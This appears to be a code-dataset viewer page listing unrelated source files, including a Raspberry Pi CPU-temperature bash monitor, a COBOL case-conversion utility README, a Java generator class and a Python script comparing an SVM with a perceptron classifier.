auto spiral_std_io_read_word(Bg* bg, void* sp, uint32_t io) -> uint32_t;
auto spiral_std_io_read_int(Bg* bg, void* sp, uint32_t io) -> uint32_t;
auto spiral_std_io_read_number(Bg* bg, void* sp, uint32_t io) -> uint32_t;
}
}
#endif
| Java |
package generics.p19;
import java.util.Random;
import utils.Generator;
public class Good {
private final int id;
private String description;
public Good(int id, String description) {
this.id = id;
this.description = description;
}
public static Generator<Good> generator = new Generator<Good>() {
Random random = new Random();
@Override
public Good next() {
return new Good(random.nextInt(1000), "");
}
};
@Override
public String toString() {
return "Good: " + id + " " + description;
}
}
| Java |
var Theme = (function() {
var Theme = function() {
};
return Theme;
})();
module.exports = Theme;
| Java |
lcasecbl
========
C99 utility to convert COBOL to lowercase or uppercase.
The following are excluded from being converted to the target case:
comment lines
sequence area (columns 1-6)
indicator area (column 7)
comment area (column 73 through end of line)
alphanumeric literals
hexadecimal literals
pseudo-text
Everything else is converted to the target case. This is not necessarily valid.
Options
===========
A few options are supported. Options may start with either a hyphen (-) or a slash (/).
-h Help. Show the usage statement.
-u Uppercase. Convert code to uppercase rather than to lowercase.
Assumptions
===========
The COBOL source code is assumed to be in ANSI format (a.k.a. reference format).
The only exception is that the comment area is allowed to be arbitrarily long.
This is done to prevent truncation of overlong comments.
The code is assumed to compile, so that unexpected conditions like unterminated
alphanumeric literals and unterminated pseudo-text will not occur. Continuation
lines are supported.
Alphanumeric and hex literals are assumed to be delimited in the following ways:
"abcdef"
'abcdef'
Pseudo-text is assumed to be delimited as follows:
==some text goes here==
Alphanumeric literals, hex literals, and pseudo-text may continue across line
breaks. Continuation lines have a hyphen in the indicator area.
Normal lines have a space in the indicator area.
Conditional debugging lines have a 'D' or 'd' in the indicator area, and are
treated here like normal lines.
Comment lines have one of the following in the indicator area: an asterisk (*),
a slash (/), or a dollar sign ($).
Lines may continue beyond the comment area, which starts in column 73 and ends
in column 80. Everything past column 72 is considered to be a comment.
Caveats
=======
Areas where I suspect that breakage may occur in at least some dialects of
COBOL are:
case-sensitive picture clauses
space-delimited literals
| Java |
#!/bin/bash
#
# ++++ Raspberry Pi Temperature script ++++
#
# By woftor (GitHub)
#
# This script shows the temperature of the ARM CPU of you Raspberry Pi: current, mean, lowest and highest.
# You can choose between Celcius of Fahrenheit.
# It uses three text files to store data:
# - pitemps_file for the last temperatures
# - pitemps_data_file_mean to calculate a mean temperature
# - pitemps_data_file_plot for plotting/arhiving
#
# You can tweak the update interval and the number of hours to use for the mean.
# Other variables are in the first part of this script.
#
# To make a plot, see the configuration file 'pitemps-gnuplot.conf'
#
# ---- ---- ---- ---- ---- Change variables below this line ---- ---- ---- ---- ----
# Update time in seconds
# Note: the script will finish the whole duration of update time at exit. Make it too long and the waiting time on exit can be long
# CTRL-C is disabled ny default. You can enable it by commenting out "trap '' 2" below
# Doing a CTRL-C will disable output to the file with last temperatures however
update_interval=4
# Number of hours to use for the mean.
no_hours_mean=1
# Number of hours to store for plotting/archiving (the data older than this will be deleted)
no_hours_plot=168
# Which directory to use to store the files (must be writable, will be created if necessary)
pitemps_dir=~/pitemps
# Name of the file containing the last temperatures (mean, high and low)
pitemps_file=pitemps-last.txt
# Name of the data file containing the temperatures used for the mean
pitemps_data_file_mean=pitemps-data-mean.txt
# Name of the data file containing the temperatures for plotting/archiving
pitemps_data_file_plot=pitemps-data-plot.txt
# Make backups of data files if they exist? 1 for Yes and 2 for No
make_backups=1
# Date format (see 'man date' for help). Default %d-%m-%Y %H:%M:%S - 14-05-2017 20:48:23
date_format="%d-%m-%Y %H:%M:%S"
# Temperature scale: 1 for degree Celcius, 2 for degree Fahrenheit
temp_scale=1
# Trap 'signal 2' to disable CTRL-C
# CTRL-C is disabled ny default. You can enable it by commenting out this variable
# Doing a "CTRL-C" will disable output to the file with last temperatures however
trap '' 2
# ---- ---- ---- ---- ---- Change variables above this line ---- ---- ---- ---- ----
# Official version. Please don't change.
version=2.2.1
# ---- ---- ---- ---- ---- Begin of variable check section ---- ---- ---- ---- ----
# Check if 'bc' installed? (required)
command -v bc >/dev/null 2>&1 || { echo; echo >&2 "Error: program 'bc' is not installed, please install it ('sudo apt install bc')"; echo; exit 1; }
# Check if the update time is valid (must be an integer)
re='^[0-9]+$'
if ! [[ $update_interval =~ $re ]]
then
echo
echo "Error: Number of seconds update time must be an integer (1,2,3 etc.). It is now set to '$update_interval'. Please check variables in pitemps file."
echo
exit 1
fi
# Check if the number of hours for the mean is valid (must be an integer)
if ! [[ $no_hours_mean =~ $re ]]
then
echo
echo "Error: Number of hours to use for mean must be an integer (1,2,3 etc.). It is now set to '$no_hours_mean'. Please check variables in pitemps file."
echo
exit 1
fi
# Check if the option to make backups is valid
if [[ $make_backups != 1 && $make_backups != 2 ]]
then
echo
echo "Error: Option to make backups must be 1 (Yes) or 2 (No). It is now set to '$make_backups'. Please check variables in pitemps file."
echo
exit 1
fi
# Check if the temperature scale is valid
if [[ $temp_scale != 1 && $temp_scale != 2 ]]
then
echo
echo "Error: Temperature scale must be 1 (Celcius) or 2 (Fahrenheit). It is now set to '$temp_scale'. Please check variables in pitemps file."
echo
exit 1
fi
# Check if the directory to store the files exists and if it's writable
if [[ ! -d $pitemps_dir ]]
then
if [[ -w $(dirname "$pitemps_dir") ]]
then
mkdir $pitemps_dir
else
echo
echo "Error: Cannot create pitemps directory '$pitemps_dir' - No write permission. Please check variables in pitemps file."
echo
exit 1
fi
else
if [[ ! -w $pitemps_dir ]]
then
echo
echo "Error: No write permissions in pitemps directory '$pitemps_dir'. Please check variables in pitemps file."
echo
exit 1
fi
fi
# Max hours 9999
if [[ $no_hours_mean -gt 9999 ]]
then
echo
echo "Error: Too many hours for calculation mean (max 9999). It is now set to '$no_hours_mean'. Please check variables in pitemps file."
echo
exit 1
fi
# ---- ---- ---- ---- ---- End of variable check section ---- ---- ---- ---- ----
# This is to make sure the file containing the last variables looks pretty (adds spaces if appropriate)
if [[ $no_hours_mean -gt 999 ]]
then
spaces=" "
elif [[ $no_hours_mean -gt 99 ]]
then
spaces=" "
elif [[ $no_hours_mean -gt 9 ]]
then
spaces=" "
else
spaces=""
fi
# Define function to make the temperatures read by the script human readable and do Fahrenheit converion if appropriate
if [[ $temp_scale = 1 ]]
then
function convert_temp {
bc <<< "scale=1; $1/1000"
}
else
function convert_temp {
bc <<< "scale=1; $1 * 1.8 / 1000 + 32"
}
fi
# Celcius or Fahrenheit symbol
if [[ $temp_scale = 1 ]]
then
deg=$'\xc2\xb0'C
else
deg=$'\xc2\xb0'F
fi
# Some variables to format the output on the screen
noform=$(tput sgr0)
form1=$(tput setaf 6)
form2=$(tput bold)$(tput setaf 3)
form3=$(tput bold)$(tput setaf 2)
form4=$(tput bold)$(tput setaf 1)
# Set the path of the files
pitemps_file_P=$pitemps_dir/$pitemps_file
pitemps_data_file_mean_P=$pitemps_dir/$pitemps_data_file_mean
pitemps_data_file_plot_P=$pitemps_dir/$pitemps_data_file_plot
# Initial (bogus) temperatures, will not be stored
if [[ $temp_scale = 1 ]]
then
low_temp=100.0
high_temp=0.0
else
low_temp=212.0
high_temp=32.0
fi
# Initialize the text files (make backups if appropriate)
if [[ -f $pitemps_file_P ]]
then
if [[ $make_backups = 1 ]]
then
if ! [[ -d $pitemps_dir/backups ]]
then
mkdir $pitemps_dir/backups
cp --backup=t $pitemps_file_P $pitemps_dir/backups/$pitemps_file
else
cp --backup=t $pitemps_file_P $pitemps_dir/backups/$pitemps_file
fi
fi
> $pitemps_file_P
else
touch $pitemps_file_P
fi
if [[ -f $pitemps_data_file_mean_P ]]
then
if [[ $make_backups = 1 ]]
then
if ! [[ -d $pitemps_dir/backups ]]
then
mkdir $pitemps_dir/backups
cp --backup=t $pitemps_data_file_mean_P $pitemps_dir/backups/$pitemps_data_file_mean
else
cp --backup=t $pitemps_data_file_mean_P $pitemps_dir/backups/$pitemps_data_file_mean
fi
fi
> $pitemps_data_file_mean_P
else
touch $pitemps_data_file_mean_P
fi
if [[ -f $pitemps_data_file_plot_P ]]
then
if [[ $make_backups = 1 ]]
then
if ! [[ -d $pitemps_dir/backups ]]
then
mkdir $pitemps_dir/backups
cp --backup=t $pitemps_data_file_plot_P $pitemps_dir/backups/$pitemps_data_file_plot
else
cp --backup=t $pitemps_data_file_plot_P $pitemps_dir/backups/$pitemps_data_file_plot
fi
fi
> $pitemps_data_file_plot_P
else
touch $pitemps_data_file_plot_P
fi
# The time this script was started for the statistics
start_time_script=$(date +"$date_format")
# The time at beginning of the loop to calculate running time and when to truncate data file for mean and plotting/archiving
start_time_loop=$(date "+%s")
# Calculate when the data file for the mean and for plotting/archiving should be truncated
trunc_temp_data_mean=$(( $no_hours_mean * 3600 + $start_time_loop + $update_interval))
trunc_temp_data_plot=$(( $no_hours_plot * 3600 + $start_time_loop + $update_interval))
# Set stty for catching keys
if [[ -t 0 ]]
then
stty -echo -icanon -icrnl time 0 min 0
fi
# Beginning of a loop to update temperatures and times
while true
do
# Read the actual temperature from the sensor, make it human readable and do conversion to Fahrenheir if appropriate
temp=$(convert_temp $(cat /sys/class/thermal/thermal_zone0/temp))
# Check if the temperature is lower than the lowest recorded and change the variable if appropriate
if (( $(bc <<< "$temp < $low_temp") ))
then
low_temp_time=$(date +"$date_format")
low_temp=$temp
fi
# Check if the temperature is higher than the highest recorded and change the variable if appropriate
if (( $(bc <<< "$temp > $high_temp") ))
then
high_temp_time=$(date +"$date_format")
high_temp=$temp
fi
# The current time
current_time=$(date +"$date_format")
# The time during the loop to calculate running time
current_time_loop=$(date "+%s")
# Calculate the time the loop is running in seconds
running_time=$(($current_time_loop-$start_time_loop))
# Convert the running time of the script to human readable format
running_time=$(echo "$((running_time / 86400)) day(s) $((($running_time % 86400) / 3600 )) hour(s) $((($running_time % 3600) / 60)) minute(s) $(($running_time % 60)) second(s)")
# Write temperature and date/time to the data file for the mean and for plotting/archiving
echo $current_time $temp | tee -a $pitemps_data_file_mean_P >> $pitemps_data_file_plot_P
# Truncate the data file for the mean and for plotting/archiving if appropriate (from the top)
if [[ $current_time_loop -gt $trunc_temp_data_mean ]]
then
sed -i '1d' $pitemps_data_file_mean_P
fi
if [[ $current_time_loop -gt $trunc_temp_data_plot ]]
then
sed -i '1d' $pitemps_data_file_plot_P
fi
# Calculate the mean temperature from the data file for the mean
mean_temp=$(awk '{ total += $3 } END { printf"%.1f",total/NR }' $pitemps_data_file_mean_P)
# Clear the screen
clear
# Present the temperatures / times
echo "$(tput cup 2 6)$form1 ---- Raspberry Pi CPU Temperature ----$(tput cup 2 60)$noform v$version"
echo "$(tput cup 4 2)$noform Current temperature:$(tput cup 4 40)| $form2$temp$noform $deg |"
echo "$(tput cup 5 2)$noform Mean temperature - $no_hours_mean hour(s):$(tput cup 5 40)| $form2$mean_temp$noform $deg |"
echo "$(tput cup 7 2)$noform Lowest temperature:$(tput cup 7 40)| $form3$low_temp$noform $deg | $form1($low_temp_time)"
echo "$(tput cup 8 2)$noform Highest temperature:$(tput cup 8 40)| $form4$high_temp$noform $deg | $form1($high_temp_time)"
echo "$(tput cup 10 6)$noform Update interval:$(tput cup 10 40)$form1$update_interval sec."
echo "$(tput cup 11 6)$noform Script was started:$(tput cup 11 40)$form1$start_time_script"
echo "$(tput cup 12 6)$noform Current date/time:$(tput cup 12 40)$form1$current_time"
echo "$(tput cup 13 6)$noform Script is running:$(tput cup 13 40)$form1$running_time"
echo "$(tput cup 16 2)$noform Press $form4'q'$noform to quit/exit..."
echo "$(tput cup 18 5)$noform (Note: exit after max.$form1 $update_interval sec.$noform pressing 'q')"
# Catch 'q' to quit. Then position cursur below the lowest line and break the loop
read input
if [[ "$input" = "q" ]]
then
tput cup 20 0
break
fi
# Sleep for the duration of the update interval
sleep $update_interval
done
# Set stty to normal again
if [[ -t 0 ]]
then
stty sane
fi
# The time this script was stopped for the statistics
stop_time_script=$(date +"$date_format")
# Write the mean temperature to the file with the last temperatures
echo "Mean temperature - $no_hours_mean hour(s): $mean_temp $deg" >> $pitemps_file_P
# Write the lowest temperature to the file with the last temperatures
echo "Lowest temperature: $spaces $low_temp $deg ($low_temp_time)" >> $pitemps_file_P
# Write the highest temperature to the file with the last temperatures
echo "Highest temperature: $spaces $high_temp $deg ($high_temp_time)" >> $pitemps_file_P
# Write the update interval, running time, start and stop times to the file with last temperatures
echo >> $pitemps_file_P
echo "Update interval: $update_interval" >> $pitemps_file_P "sec."
echo "Script started: $start_time_script" >> $pitemps_file_P
echo "Script stopped: $stop_time_script" >> $pitemps_file_P
echo "Script was running: $running_time" >> $pitemps_file_P
# End signal 2 (CTRL-C) trap
trap 2
| Java |
# mentat-example
Example app for the hapi.js microframework mentat
| Java |
# -*- coding: utf-8 -*-
"""
Created on Fri Nov 15 15:55:28 2013
@author: dyanna
"""
import numpy as np
from sklearn.svm import SVC
def getSample(pointA, pointB, numberOfPoints):
pointList = list(zip(np.random.uniform(-1,1.00,numberOfPoints),np.random.uniform(-1,1.00,numberOfPoints)))
sample = np.array([(i[0], i[1], isLeft(pointA, pointB, i)) for i in pointList])
y = sample[:,2]
breakpoint = False
while not breakpoint:
if(len(y[y==-1]) == 0 or len(y[y==1]) == 0):
pointList = list(zip(np.random.uniform(-1,1.00,numberOfPoints),np.random.uniform(-1,1.00,numberOfPoints)))
sample = np.array([(i[0], i[1], isLeft(pointA, pointB, i)) for i in pointList])
y = sample[:,2]
else:
breakpoint = True
return sample
def getRandomLine():
return list(zip(np.random.uniform(-1,1.00,2),np.random.uniform(-1,1.00,2)))
def getPoints(numberOfPoints):
pointList = list(zip(np.random.uniform(-1,1.00,numberOfPoints),np.random.uniform(-1,1.00,numberOfPoints)))
return pointList
def isLeft(a, b, c):
return 1 if ((b[0] - a[0])*(c[1] - a[1]) - (b[1] - a[1])*(c[0] - a[0])) > 0 else -1;
def sign(x):
return 1 if x > 0 else -1
def getMisMatchesQP(data, clf):
#print(data)
data_x = np.c_[data[:,0], data[:,1]]
results = clf.predict(data_x)
#print(np.sign(results))
print("mismatch ", float(len(data) - np.sum(np.sign(results) == np.sign(data[:,2])))/len(data))
print("score ", clf.score(data_x, data[:,2]))
return float(len(data) - np.sum(np.sign(results) == np.sign(data[:,2])))/len(data)
def doMonteCarloQP(pointa, pointb, clf, nopoint):
#print "weights ", weight
points = [(np.random.uniform(-1,1), np.random.uniform(-1,1)) for i in range(nopoint)]
#print points
dataset_Monte = np.array([(i[0],i[1], isLeft(pointa,pointb,i)) for i in points])
#print dataset_Monte
return getMisMatchesQP(dataset_Monte, clf)
def doPLA(sample):
w = np.array([0,0,0])
iteration = 0
it = 0
while True:#(it < 10):
iteration = iteration + 1
it = it + 1
mismatch = list()
for i in sample:
#print("point in question ", i , " weight ", w)
yy = w[0] + w[1] * i[0] + w[2] * i[1]
#print("this is after applying weight to a point ",yy)
point = [i[0], i[1], sign(yy)]
if any(np.equal(sample, point).all(1)):
#print "point not in sample"
if(point[2] == -1):
mismatch.append((1, (i[0]), (i[1])))
else:
mismatch.append((-1, -(i[0]), -(i[1])))
#print " length ", len(mismatch), " mismatch list ",mismatch
if(len(mismatch) > 0):
#find a random point and update w
choiceIndex = np.random.randint(0, len(mismatch))
choice = mismatch[choiceIndex]
#print("choice ", choice)
w = w + choice
#print "new weight ", w
else:
break
#print("this is the iteration ", iteration)
#print("this is the weight ", w)
#montelist = [monetcarlo((x1,y1),(x2,y2),w,10000) for i in range(5)]
#print("Montelist " , montelist)
#monteavg = sum([i for i in montelist])/10
return w, iteration
def getMisMatches(data, weights):
#print data
list1 = np.empty(len(data))
list1.fill(weights[0])
results = list1+ weights[1]*data[:,0]+weights[2]*data[:,1]
results = -1 * results
return float(len(data) - np.sum(np.sign(results) == np.sign(data[:,2])))/len(data)
def doMonteCarloNP(pointa, pointb, weights, nopoint):
#print "weights ", weight
points = [(np.random.uniform(-1,1), np.random.uniform(-1,1)) for i in range(nopoint)]
#print points
dataset_Monte = np.array([(i[0],i[1], isLeft(pointa,pointb,i)) for i in points])
#print dataset_Monte
return getMisMatches(dataset_Monte, weights)
if __name__ == "__main__":
'''X = np.array([[-1,-1],[-2,-1], [1,1], [2,1]])
y = np.array([1,1,2,2])
clf = SVC()
clf.fit(X,y)
print(clf.predict([[-0.8,-1]]))'''
#clf = SVC()
clf = SVC(C = 1000, kernel = 'linear')
monteavgavgQP = list()
monteavgavgPLA = list()
approxavgQP = list()
vectornumberavg = list()
predictavg = list()
for j in range(1):
#clf = SVC(C = 1000, kernel = 'linear')
monteavgQP = list()
monteavgPLA = list()
approxQP = list()
vectoravg = list()
for k in range(1000):
nopoints = 100
line = getRandomLine()
sample = getSample(line[0], line[1], nopoints)
#print(sample)
X = np.c_[sample[:,0], sample[:,1]]
y = sample[:,2]
#print(y)
clf.fit(X,y)
#print(clf.score(X,y))
w, it = doPLA(sample)
#print(len(clf.support_vectors_))
#print(clf.support_vectors_)
#print(clf.support_)
vectoravg.append(len(clf.support_vectors_))
#print(clf.predict(clf.support_vectors_)==1)
#print(clf.predict(clf.support_vectors_))
#print(clf.coef_)
montelistQP = [doMonteCarloQP(line[0], line[1], clf, 500) for i in range(1)]
qpMonte = sum(montelistQP)/len(montelistQP)
monteavgQP.append(sum(montelistQP)/len(montelistQP))
montelist = [ doMonteCarloNP(line[0], line[1], w, 500) for i in range(1)]
plaMonte = sum(montelist)/len(montelist)
monteavgPLA.append(plaMonte)
if(montelistQP < monteavgPLA):
approxQP.append(1)
else:
approxQP.append(0)
#print(sum(monteavgQP)/len(monteavgQP))
#print(sum(monteavgPLA)/len(monteavgPLA))
#print(sum(approxQP)/len(approxQP))
monteavgavgQP.append(sum(monteavgQP)/len(monteavgQP))
monteavgavgPLA.append(sum(monteavgPLA)/len(monteavgPLA))
approxavgQP.append(sum(approxQP)/len(approxQP))
vectornumberavg.append(sum(vectoravg)/len(vectoravg))
print(sum(monteavgavgQP)/len(monteavgavgQP))
print(sum(monteavgavgPLA)/len(monteavgavgPLA))
print("how good is it? ", sum(approxavgQP)/len(approxavgQP))
print("how good is it? ", sum(vectornumberavg)/len(vectornumberavg))
| Java |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.